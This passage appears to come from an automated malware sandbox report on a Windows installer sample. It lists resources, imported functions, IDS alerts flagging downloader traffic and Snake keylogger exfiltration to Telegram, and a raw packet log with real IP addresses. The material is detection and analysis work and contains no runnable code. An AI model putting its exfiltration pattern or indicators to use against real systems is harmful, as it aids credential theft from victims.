RT_DIALOG	0x5d8b8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5da00	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x5db40	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5dc40	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5dd60	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5de28	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5de88	0x14	data	English	United States	1.2
RT_MANIFEST	0x5dea0	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GlobalUnlock, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:23:56.219592+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	59240	142.250.181.238	443	TCP
2025-01-10T20:24:02.515912+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	59242	193.122.6.168	80	TCP
2025-01-10T20:24:09.781628+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	59242	193.122.6.168	80	TCP
2025-01-10T20:24:10.431548+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	59244	149.154.167.220	443	TCP
2025-01-10T20:24:10.630821+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	59244	149.154.167.220	443	TCP
2025-01-10T20:24:13.719098+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	59245	193.122.6.168	80	TCP
2025-01-10T20:24:14.333494+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	59246	149.154.167.220	443	TCP
2025-01-10T20:24:14.585687+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	59246	149.154.167.220	443	TCP
2025-01-10T20:24:17.723033+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	59248	149.154.167.220	443	TCP
2025-01-10T20:24:17.898382+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	59248	149.154.167.220	443	TCP
2025-01-10T20:24:19.237869+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	59250	149.154.167.220	443	TCP
2025-01-10T20:24:19.416338+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	59250	149.154.167.220	443	TCP
2025-01-10T20:24:21.560698+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	59252	149.154.167.220	443	TCP
2025-01-10T20:24:21.746582+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	59252	149.154.167.220	443	TCP
2025-01-10T20:24:23.044538+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	59254	149.154.167.220	443	TCP
2025-01-10T20:24:23.224034+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	59254	149.154.167.220	443	TCP
2025-01-10T20:24:24.566117+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	59256	149.154.167.220	443	TCP
2025-01-10T20:24:24.812890+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	59256	149.154.167.220	443	TCP
2025-01-10T20:24:26.101869+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	59258	149.154.167.220	443	TCP
2025-01-10T20:24:26.278739+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	59258	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:22:40.250346899 CET	54306	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:22:40.255198956 CET	53	54306	1.1.1.1	192.168.2.5
Jan 10, 2025 20:22:40.255292892 CET	54306	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:22:40.260320902 CET	53	54306	1.1.1.1	192.168.2.5
Jan 10, 2025 20:22:40.710611105 CET	58977	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:22:40.715306044 CET	53	58977	1.1.1.1	192.168.2.5
Jan 10, 2025 20:22:40.715365887 CET	58977	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:22:40.720146894 CET	53	58977	1.1.1.1	192.168.2.5
Jan 10, 2025 20:22:40.743396997 CET	54306	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:22:40.748337030 CET	53	54306	1.1.1.1	192.168.2.5
Jan 10, 2025 20:22:40.748394012 CET	54306	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:22:41.209573984 CET	58977	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:22:41.214639902 CET	53	58977	1.1.1.1	192.168.2.5
Jan 10, 2025 20:22:41.214685917 CET	58977	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:23:55.173918962 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:55.173985004 CET	443	59240	142.250.181.238	192.168.2.5
Jan 10, 2025 20:23:55.174108982 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:55.184057951 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:55.184098959 CET	443	59240	142.250.181.238	192.168.2.5
Jan 10, 2025 20:23:55.838586092 CET	443	59240	142.250.181.238	192.168.2.5
Jan 10, 2025 20:23:55.838660002 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:55.839709997 CET	443	59240	142.250.181.238	192.168.2.5
Jan 10, 2025 20:23:55.839757919 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:55.904773951 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:55.904807091 CET	443	59240	142.250.181.238	192.168.2.5
Jan 10, 2025 20:23:55.905272961 CET	443	59240	142.250.181.238	192.168.2.5
Jan 10, 2025 20:23:55.905333042 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:55.908037901 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:55.951351881 CET	443	59240	142.250.181.238	192.168.2.5
Jan 10, 2025 20:23:56.219611883 CET	443	59240	142.250.181.238	192.168.2.5
Jan 10, 2025 20:23:56.219679117 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:56.219702959 CET	443	59240	142.250.181.238	192.168.2.5
Jan 10, 2025 20:23:56.219752073 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:56.219939947 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:56.219996929 CET	443	59240	142.250.181.238	192.168.2.5
Jan 10, 2025 20:23:56.220050097 CET	59240	443	192.168.2.5	142.250.181.238
Jan 10, 2025 20:23:56.244821072 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:56.244882107 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:56.245287895 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:56.245287895 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:56.245336056 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:56.902614117 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:56.902699947 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:56.908066034 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:56.908097029 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:56.908467054 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:56.908910036 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:56.908910990 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:56.951333046 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.487927914 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.488101006 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.493681908 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.493837118 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.506139040 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.506284952 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.506303072 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.506509066 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.512394905 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.512474060 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.578528881 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.578587055 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.578618050 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.578633070 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.578649998 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.578687906 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.578687906 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.578795910 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.578802109 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.579030037 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.583412886 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.583471060 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.583483934 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.583762884 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.589607954 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.589687109 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.589693069 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.589817047 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.595913887 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.597527027 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.597541094 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.597584963 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.602121115 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.605528116 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.605535030 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.605657101 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.608438969 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.608494997 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.608508110 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.608658075 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.615168095 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.616230965 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.616239071 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.616311073 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.620523930 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.620731115 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.620738029 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.620799065 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.626468897 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.626676083 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.626682043 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.626739025 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.632313967 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.632385969 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.632395983 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.632518053 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.637983084 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.638153076 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.647156000 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.647267103 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.647273064 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.647327900 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.669192076 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.669266939 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.669274092 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.669287920 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.669363022 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.669476032 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.669523954 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.669528961 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.669553041 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.669580936 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.669593096 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.669593096 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.669599056 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.669644117 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.669644117 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.670250893 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.670309067 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.670314074 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.670357943 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.674413919 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.676620007 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.676625967 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.676695108 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.679825068 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.681528091 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.681535006 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.681623936 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.684881926 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.684987068 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.684992075 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.685113907 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.689889908 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.690031052 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.690043926 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.690085888 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.694550991 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.694622040 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.694629908 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.694802999 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.699170113 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.699893951 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.699899912 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.699982882 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.703855038 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.705496073 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.705509901 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.705565929 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.708477974 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.708558083 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.708570957 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.708606958 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.713262081 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.713352919 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.713366032 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.713433027 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.717900991 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.718450069 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.718456030 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.718532085 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.722201109 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.723297119 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.723301888 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.723356009 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.726381063 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.726460934 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.726547003 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.726548910 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.726598024 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.726635933 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.726650953 CET	443	59241	142.250.185.193	192.168.2.5
Jan 10, 2025 20:23:59.726675987 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:23:59.726700068 CET	59241	443	192.168.2.5	142.250.185.193
Jan 10, 2025 20:24:00.557044983 CET	59242	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:00.561924934 CET	80	59242	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:00.562021971 CET	59242	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:00.562228918 CET	59242	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:00.567050934 CET	80	59242	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:02.238684893 CET	80	59242	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:02.243115902 CET	59242	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:02.248030901 CET	80	59242	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:02.473367929 CET	80	59242	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:02.515912056 CET	59242	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:02.734987020 CET	59243	443	192.168.2.5	104.21.64.1
Jan 10, 2025 20:24:02.735037088 CET	443	59243	104.21.64.1	192.168.2.5
Jan 10, 2025 20:24:02.735106945 CET	59243	443	192.168.2.5	104.21.64.1
Jan 10, 2025 20:24:02.737792015 CET	59243	443	192.168.2.5	104.21.64.1
Jan 10, 2025 20:24:02.737816095 CET	443	59243	104.21.64.1	192.168.2.5
Jan 10, 2025 20:24:03.232929945 CET	443	59243	104.21.64.1	192.168.2.5
Jan 10, 2025 20:24:03.233095884 CET	59243	443	192.168.2.5	104.21.64.1
Jan 10, 2025 20:24:03.238859892 CET	59243	443	192.168.2.5	104.21.64.1
Jan 10, 2025 20:24:03.238874912 CET	443	59243	104.21.64.1	192.168.2.5
Jan 10, 2025 20:24:03.239156008 CET	443	59243	104.21.64.1	192.168.2.5
Jan 10, 2025 20:24:03.263513088 CET	59243	443	192.168.2.5	104.21.64.1
Jan 10, 2025 20:24:03.307379007 CET	443	59243	104.21.64.1	192.168.2.5
Jan 10, 2025 20:24:03.383459091 CET	443	59243	104.21.64.1	192.168.2.5
Jan 10, 2025 20:24:03.383521080 CET	443	59243	104.21.64.1	192.168.2.5
Jan 10, 2025 20:24:03.383615017 CET	59243	443	192.168.2.5	104.21.64.1
Jan 10, 2025 20:24:03.499825954 CET	59243	443	192.168.2.5	104.21.64.1
Jan 10, 2025 20:24:09.527010918 CET	59242	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:09.531897068 CET	80	59242	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:09.738154888 CET	80	59242	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:09.750226974 CET	59244	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:09.750319004 CET	443	59244	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:09.750397921 CET	59244	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:09.750950098 CET	59244	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:09.750983953 CET	443	59244	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:09.781627893 CET	59242	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:10.381979942 CET	443	59244	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:10.382123947 CET	59244	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:10.384263992 CET	59244	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:10.384278059 CET	443	59244	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:10.384526014 CET	443	59244	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:10.385938883 CET	59244	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:10.431332111 CET	443	59244	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:10.431416988 CET	59244	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:10.431441069 CET	443	59244	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:10.630875111 CET	443	59244	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:10.630959034 CET	443	59244	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:10.631192923 CET	59244	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:10.638375044 CET	59244	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:10.891870022 CET	59242	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:10.893421888 CET	59245	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:10.897100925 CET	80	59242	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:10.897177935 CET	59242	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:10.898282051 CET	80	59245	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:10.898400068 CET	59245	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:10.898528099 CET	59245	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:10.903378010 CET	80	59245	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:13.667979956 CET	80	59245	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:13.669495106 CET	59246	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:13.669595003 CET	443	59246	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:13.669680119 CET	59246	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:13.670345068 CET	59246	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:13.670365095 CET	443	59246	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:13.719098091 CET	59245	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:14.331358910 CET	443	59246	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:14.333154917 CET	59246	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:14.333220005 CET	443	59246	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:14.333302975 CET	59246	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:14.333323956 CET	443	59246	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:14.585752010 CET	443	59246	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:14.585845947 CET	443	59246	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:14.585911036 CET	59246	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:14.593151093 CET	59246	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:14.665525913 CET	59247	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:14.670526981 CET	80	59247	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:14.670610905 CET	59247	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:14.680499077 CET	59247	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:14.685285091 CET	80	59247	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:17.055259943 CET	80	59247	193.122.6.168	192.168.2.5
